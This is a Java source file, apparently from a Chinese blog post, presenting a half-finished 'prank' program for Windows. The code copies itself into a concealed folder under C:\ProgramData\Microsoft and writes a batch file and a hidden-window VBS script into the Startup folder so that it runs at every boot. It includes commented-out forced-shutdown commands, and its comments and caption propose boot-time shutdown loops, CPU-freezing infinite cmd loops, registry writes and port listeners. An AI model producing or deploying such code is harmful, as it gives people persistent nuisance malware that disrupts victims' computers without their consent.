import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
/**
* * shutdown -s -t 60 60秒后关机
* * shutdown -s -t 3600 1小时后关机
* * logoff 注销命令
* * tsshutdn 60秒后关机
* * shutdown -s -f 强制关机
* * shutdown -s -t 时间
* * shutdown -a 取消 关机命令
*
* @author silence
* 将程序影藏在 C:\ProgramData\Microsoft 下的自定义silence文件夹
*/
public class Silence1 {
/**
* 程序存储的文件位置 和bat
*/
private static final File SILENCE_FILE = new File("C:\\ProgramData\\Microsoft\\silence");
/**
* 开机启动项存放 vbs 的位置
*/
private static final File START_FILE = new File("C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\start.vbs");
static {
if (!SILENCE_FILE.exists()) {
boolean mkdirs = SILENCE_FILE.mkdirs();
}
}
public static void main(String[] args) throws Exception {
//如果不是第一次启动本软件
if (!START_FILE.exists()) {
//程序运行的时候复制自身class文件到指定文件夹
copySilence();
//写bat启动项文件
batStart();
//写vbs系统自启动项
vbsStart();
}
//写个关机命令
shutdown();
//可以在这开个TCP或者UDP端口监听该用什么方法
//每次开机后会打开此程序 可以写关机每次开机后会自动关机 重复打开cmd卡死 循环写文件到桌面
//可以启动TCP 或UDP形式监听端口
//写注册表
//运行cmd命令
}
/**
* 关机命令
*/
private static void shutdown() throws Exception {
//60s 后关机
// Runtime.getRuntime().exec("shutdown -s -t 60");
//取消关机命令
// Runtime.getRuntime().exec("shutdown -a");
// 强制关机
// Runtime.getRuntime().exec("shutdown -s -f");
}
/**
* 写vbs系统自启动项
*/
private static void vbsStart() throws Exception {
FileOutputStream out = new FileOutputStream(START_FILE);
String str1 = "set ws=wscript.createobject(\"wscript.shell\")";
String str2 = "ws.run \"C:/ProgramData/Microsoft/silence/start.bat" + " /start\",0";
out.write(str1.getBytes());
out.write("\r\n".getBytes());
out.write(str2.getBytes());
out.close();
}
/**
* 写bat启动class文件
*/
private static void batStart() throws Exception {
FileOutputStream out = new FileOutputStream(SILENCE_FILE.toString() + "\\start.bat");
String str = "java Silence1";
out.write(str.getBytes());
out.close();
}
/**
* 启动后写到C盘 启动文件
*/
private static void copySilence() throws Exception {
FileOutputStream out = new FileOutputStream(SILENCE_FILE.toString() + "\\Silence1.class");
FileInputStream input = new FileInputStream("Silence1.class");
byte[] bytes = new byte[1024];
int length = 0;
while ((length = input.read(bytes)) != -1) {
out.write(bytes, 0, length);
out.flush();
}
out.close();
input.close();
}
}
java恶搞程序半成品,打开将程序本身写到c盘隐藏,并设置开机启动项。可无限开机,可加影藏cmd while死循环 卡爆cpu
最新推荐文章于 2023-12-09 20:03:03 发布